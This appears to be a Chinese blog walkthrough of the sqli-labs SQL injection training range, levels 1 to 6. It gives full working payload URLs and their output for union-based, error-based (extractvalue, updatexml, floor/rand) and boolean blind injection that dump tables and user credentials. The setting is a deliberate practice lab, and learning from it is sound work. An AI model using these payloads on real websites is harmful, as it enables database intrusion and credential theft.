sqli-labs
为了防止内网IP泄露,以下靶场搭建以一个不存在的IP192.168.0.666为例。
这是一个很老的SQL注入靶场了,2011年就有了,SQLI 实验室测试基于错误、基于布尔值、基于时间的注入漏洞。
项目地址:https://github.com/Audi-1/sqli-labs
搭建环境:Mysql+Apache+PHP(PHP推荐使用5版本),配置数据库密码就可以访问啦。
首先介绍一下相关术语吧:
- SQL:结构化查询语言,原来管理数据库,对数据库就行查询、更新等操作。
- 数据库:用于管理和存储数据的仓库,常见的数据库有Mysql、Oracle、Sqlserver、Sqlite、MSSQL等。
- SQLi:SQL注入,构造交互的数据使数据库的解析器执行了构造的数据。
- 拖库:指从数据库中导出数据。
- 撞库:将泄露的用户登入信息用于其它的网站尝试登入。
- 删库跑路:程序员因不满情绪等原因,删除公司数据库予以报复并跑路的行为。
数据库相关概念,如数据库、表、字段等参考数据库的文章。
内容
一共4页,第一页是基本挑战,1-21关。第二页高级进阶,22-37关。第三页堆叠注入,38-53关。最后一页挑战,54-75关。
工具
准备工具SQLmap、Firefox和Hackbar组件。
Mysql元数据
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。
信息
@@version_compile_os # 系统版本
version() # 数据库版本
user() # 用户
database() # 当前数据库
Details
Basic Challenges
这里我插入了输出查询语句的代码,方便观察。
为了直观观察,用代码块代替图片的显示。
Less-1
》交互测试
》提示ID参数
http://192.168.0.666/Less-1/?id=1
http://192.168.0.666/Less-1/?id=1'
,报错
》注释
http://192.168.0.666/Less-1/?id=1'#
不行
http://192.168.0.666/Less-1/?id=1'--+
可以
http://192.168.0.666/Less-1/?id=1'%23
可以
》Order by字段
依次尝试1,2,3,4,发现4报错,说明有三个字段。
http://192.168.0.666/Less-1/?id=1' order by 1%23
http://192.168.0.666/Less-1/?id=1' order by 2%23
http://192.168.0.666/Less-1/?id=1' order by 3%23
http://192.168.0.666/Less-1/?id=1' order by 4%23
报错了
Welcome Dhakkan
SELECT * FROM users WHERE id='1' order by 4#' LIMIT 0,1
Unknown column '4' in 'order clause'
》Union 判断回显点
http://192.168.0.666/Less-1/?id=-1'union select 1,2,3%23
Welcome Dhakkan
SELECT * FROM users WHERE id='-1'union select 1,2,3#' LIMIT 0,1
Your Login name:2
Your Password:3
关于Union联合查询必须要有显示位,-1表示将该id置于不存在的数据,然后联合查询会查询后面的语句。
》获取数据库
http://192.168.0.666/Less-1/?id=-1'union select 1,database(),3%23
当前数据库
Your Login name:security
Your Password:3
http://192.168.0.666/Less-1/?id=-1'union select 1,database(),version()%23
版本
Your Login name:security
Your Password:5.5.53
http://192.168.0.666/Less-1/?id=-1'union select 1,schema_name,3 from information_schema.schemata%23
所有数据库
http://192.168.0.666/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23
所有数据库(聚合)
这里使用了group_concat()聚合在一起,这样就不会被limit限制。
》获取表
http://192.168.0.666/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
》获取字段
http://192.168.0.666/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
》获取数据
http://192.168.0.666/Less-1/?id=-1' union select 1,username,password from users where id=3 %23
到这里,你的目的也就达到了。
Less-2
Please input the ID as parameter with numeric value.
http://192.168.0.666/Less-2/?id=1' and '1'='1
报错,说明不是字符型,而是数字型,虽然提示也说了,^_^
数字型不需要闭合。
我们直接按照第一关的步骤哒哒哒直接到最后获取数据吧。
http://192.168.0.666/Less-2/?id=-1 union select 1,username,password from users where id=3 %23
Less-3
http://192.168.0.666/Less-3/?id=1'
报错,发现一个出现了一个右括号,审查源码。
》源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://192.168.0.666/Less-3/?id=1')%23
闭合成功
http://192.168.0.666/Less-3/?id=-1') union select 1,username,password from users where id=3 %23
直接获取用户数据,也OK,结束。
Less-4
http://192.168.0.666/Less-4/?id=1'
啥也没变啊,不好使了老铁
http://192.168.0.666/Less-4/?id=1"
双引号,它报错了它报错了!它报它报错了错了(双写版本哈哈哈)~
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
注意这里的报错显示”1”后面还是加了),所以我们还是需要这个括号的。
http://192.168.0.666/Less-4/?id=1") %23
回显正常
http://192.168.0.666/Less-4/?id=-1") union select 1,username,password from users where id=3 %23
查询用户数据也正常。
Less-5
这一关就不一样了,页面只显示一个You are in …
》判断注入类型
http://192.168.0.666/Less-5/?id=1' and 1=1 %23
正常页面
http://192.168.0.666/Less-5/?id=1' and 1=2 %23
无回显
通过 ‘ 闭合查询无返回的数据,无论是有数据返回还是无数据返回页面都不会显示相关的数据。我们想到了盲注。
盲注分为三类:
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
1.双查询注入 原理链接
2.使用exp注入(版本在 5.5.5 及其以上)原理链接
3.使用bigint注入(版本在 5.5.5 及其以上)原理链接
4.extractvalue函数错误
5.updatexml函数错误
6.mysql 重复特性
这一题使用Double Injection,双查询注入。就是Select中嵌套一个select,这不就是子查询吗。
select concat((select database()));
顺序是先执行里面的再执行外面的。
先学习几个函数
1.count()汇总数据函数;
2.rand()随机输出一个大于0小于1的整数;
3 group by语句:也就是给你查询出来的结果分组;
4 floor()取整
原理就是count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
Pyload
and (select 1 from (select count(*),concat((payload) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)
》获取库名
http://192.168.0.666/Less-5/?id=-1'union select 1,count(*), concat('^',(select database()),'^',floor(rand()*2)) a from information_schema.tables group by a %23
要多点几下
Welcome Dhakkan
Duplicate entry '^security^1' for key 'group_key'
去掉随机数0就是我们需要的库名了。这里也用^去分隔了。
》获取表
http://192.168.0.666/Less-5?id=-1' union select 1,count(*), concat('^',(select concat(table_name) from information_schema.tables where table_schema=database()),'^',floor(rand()*2)) a from information_schema.tables group by a %23
报错超过一行了
Subquery returns more than 1 row
看来我们不能再用concat函数了,换成limit 0,1一个一个输出。
http://192.168.0.666/Less-5?id=-1' union select 1,count(*), concat('^',(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
Welcome Dhakkan
Duplicate entry '^emails^1' for key 'group_key'
http://192.168.0.666/Less-5?id=-1' union select 1,count(*), concat('^',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
Welcome Dhakkan
Duplicate entry '^users^1' for key 'group_key'
》获取字段
字段也是用limit的思路一个一个猜
http://192.168.0.666/Less-5?id=-1' union select 1,count(*), concat('^',(select concat(column_name) from information_schema.columns where table_name='users' limit 1,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
Duplicate entry '^first_name^1' for key 'group_key'
我寻思着不对劲啊,???
我记得Users下没有first_name字段啊,我的username呢??
原来是少写了数据库了,指定数据库之后就出来了,傻逼了。
http://192.168.0.666/Less-5?id=-1' union select count(*),1, concat('^',(select concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
Welcome Dhakkan
Duplicate entry '^username^0' for key 'group_key'
》获取数据
http://192.168.0.666/Less-5?id=-1' union select count(*),1, concat('^',(select concat(username,0x3a,password) from users limit 0,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
得到数据,结束。
嘛跌嘛跌,还有别的方法还没试。
方法二 exp注入
http://192.168.0.666/Less-5?id=1' union select 1,2, exp(~(select * from (select version()) a )) %23
这个版本已经被修复了
方法三 函数报错
extractvaluel函数错误
》获取库名
extractvalue('XML_document','Xpath_string')
//即
extractvalue('目标xml文件名','在xml中查询的字符串')
看得出来第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径/该xml文件/要查询的字符串进行查询,如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。此处的XML_document可以是anything。
http://192.168.0.666/Less-5?id=1' and extractvalue(1,concat(1,database()))%23
Welcome Dhakkan
XPATH syntax error: 'security'
》获取表
http://192.168.0.666/Less-5?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')))%23
Welcome Dhakkan
XPATH syntax error: 'emails,referers,uagents,users'
》获取字段
http://192.168.0.666/Less-5?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))) %23
Welcome Dhakkan
XPATH syntax error: 'id,username,password'
》获取数据
http://192.168.0.666/Less-5?id=1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users),'~',(select group_concat(password) from users))))) %23
Welcome Dhakkan
XPATH syntax error: 'Dumb,Angelina,Dummy,secure,stupi'
注意:extractvalue函数一次只能查询32位长度,所以数据未显示全,改用limit控制数据一个一个查询
http://192.168.0.666/Less-5?id=1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1),'~',(select password from users limit 0,1))))) %23
Welcome Dhakkan
XPATH syntax error: 'Dumb~Dumb'
updatexml函数错误
语法格式
updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')
》获取库
http://192.168.0.666/Less-5?id=1' union select 1,2,(updatexml(1,concat(1,database()),1)) %23
Welcome Dhakkan
XPATH syntax error: 'security'
》获取表
http://192.168.0.666/Less-5?id=1' union select 1,2,(updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)) %23
Welcome Dhakkan
XPATH syntax error: 'emails,referers,uagents,users'
》获取字段
http://192.168.0.666/Less-5?id=1' union select 1,2,(updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)) %23
Welcome Dhakkan
XPATH syntax error: 'id,username,password'
》获取数据
http://192.168.0.666/Less-5?id=1' union select 1,2,(updatexml(1,concat(1,(select username from users limit 0,1),1,(select password from users limit 0,1)),1)) %23
Welcome Dhakkan
XPATH syntax error: 'Dumb1Dumb'
利用Mysql的重复特性
只能查版本,不能查普通语句
http://192.168.0.666/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) a %23
方法四 盲注
这里提一下盲注原理:盲注不像联合注入和报错注入那样可以参考回显的错误信息,没有错误回显。也就是说在注入攻击中,是要去猜测,分为根据布尔型的True和False和根据时间型的时间差来猜测。
需要用到的函数:
length() # 返回字符串长度
substr() # 截取字符串
ascii() # 返回ASCII
sleep() # 将程序延迟一段时间
if(expr1,expr2,expr3) # 判断语句
left() # 取这边字符判断
mid() # 取中间特定字符判断
ifnull() # 第一个参数Ture返回,不然返回第二个
ord() # 第一个字符的ASCII
regexp # 正则表达
like # 过滤
LEFT()函数
left()函数是字符串函数(所以首先需要判断是字符型),返回具有指定长度的字符串左边的部分。
mysql> select * from users where id = 1 and left(database(),1)>'a';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)
mysql>
首先这是and执行,所以两边同时要成立,与的逻辑。
此时Left第一个参数database,第二个参数是1表示第一个参数的第一个字符,这里数据库查询到是security,所以第一个数字表示s,然后我们加入判断是否大于a,显然s>a是成立的,and 前面的id=1也是成立的,所以正常返回了id为1的数据。
mysql> select * from users where id = 1 and left(database(),1)>'t';
Empty set (0.00 sec)
mysql> select * from users where id = 1 and left(database(),1)>'s';
Empty set (0.00 sec)
mysql> select * from users where id = 1 and left(database(),1)='s';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
s小于t,所以逻辑错误,返回空,s>s,显然也是错的,当s=s时,正常返回了,这里我们就明白这其中利用的原理了。
回到第五题
利用left()函数猜测数据库名
猜测数据库第一个字符
正常回显
异常回显
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'a' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'b' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'c' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'd' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'e' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'f' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'g' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'h' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'i' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'j' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'k' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'l' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'm' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'n' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'o' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'p' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'q' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 'r' %23 [v] -->表示正常回显
http://192.168.0.666/Less-5/?id=1' and left(database(),1) > 's' %23 [x] -->表示异常回显
得出第一个字符为s
猜测数据库名第二个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'sa' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'sb' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'sc' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'sd' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'se' %23 [x]
http://192.168.0.666/Less-5/?id=1' and left(database(),2) > 'sf' %23 [x]
得出第二个字符为e
猜测数据库名第三个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),3) > 'sea' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),3) > 'seb' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),3) > 'sec' %23 [x]
http://192.168.0.666/Less-5/?id=1' and left(database(),3) > 'sed' %23 [x]
得出第三个字符为c
猜测数据库名第四个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'seca' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secb' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secc' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secd' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'sece' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secf' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secg' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'sech' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'seci' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secj' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'seck' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secl' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secm' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secn' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'seco' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secp' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secq' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secr' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secs' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'sect' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),4) > 'secu' %23 [x]
得到第四个字符为u
猜测数据库名第五个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secua' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secub' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuc' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secud' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secue' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuf' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secug' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuh' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secui' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuj' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuk' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secul' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secum' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secun' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuo' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secup' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secuq' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),5) > 'secur' %23 [x]
得到第五个字符为r
猜测数据库名第六个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'secura' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securb' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securc' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securd' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'secure' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securf' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securg' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securh' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),6) > 'securi' %23 [x]
得到第六个字符为i
猜测数据库名第七个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securia' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securib' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securic' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securid' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securie' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securif' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securig' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securih' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securii' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securij' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securik' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securil' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securim' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securin' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securio' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securip' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securiq' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securir' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securis' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),7) > 'securit' %23 [x]
得到第七个字符为i
猜测数据库名第八个字符
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securita' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitb' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitc' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitd' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securite' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitf' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitg' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securith' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securiti' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitj' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitk' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitl' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitm' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitn' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securito' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitp' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitq' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitr' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securits' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitt' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitu' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitv' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitw' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitx' %23 [v]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'security' %23 [x]
http://192.168.0.666/Less-5/?id=1' and left(database(),8) > 'securitz' %23 [x]
得到第七个字符为y
Security
可能有人会说,这不得累死人啊,你可以使用二分法或逐跳测,先测一下a,再测一下z,然后分半探测,你因为我这一个一个弄的是为了好看啊,所以说我这不是为了好看才弄的吗。也可以很好的理解盲注,享受盲注这种最朴实的测试,工具用多了吧,手注不会了吧。
同样,我们可以用length()函数猜解获得数据库的长度为8位。
利用left()函数猜测版本信息
http://192.168.0.666/Less-5/?id=1' and left(version(),1)=5 %23
返回正常
http://192.168.0.666/Less-5/?id=1' and left(version(),1)=4 %23
返回错误
所以初步判定,这是5.0版本的数据库。
猜测数据库表信息
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
a - 从0开始第几张表
b - 第几个字符
n - ASCII对应十进制
这就要用工具了,用Burp爆破表、字段、数据。
Less-6
第六关与第五个一样,显示You are in,单引号无效,所以测试双引号,其它与第五题相同。
那我就不客气了,直接窃取第五题超过,拿来验证最后一步。
http://192.168.0.666/Less-6?id=1" union select 1,2,(updatexml(1,concat(1,(select username from users limit 0,1),1,(select password from users limit 0,1)),1)) %23
http://192.168.0.666/Less-6?id=-1" union select count(*),1, concat('^',(select concat(username,0x3a,password) from users limit 0,1),'^',floor(rand()*2)) a from information_schema.tables group by a %23
下期见
References
[1] https://www.csdn.net/tags/MtTaEg0sNDc2MzI2LWJsb2cO0O0O.html
[2] https://blog.csdn.net/weixin_45634365/article/details/114190376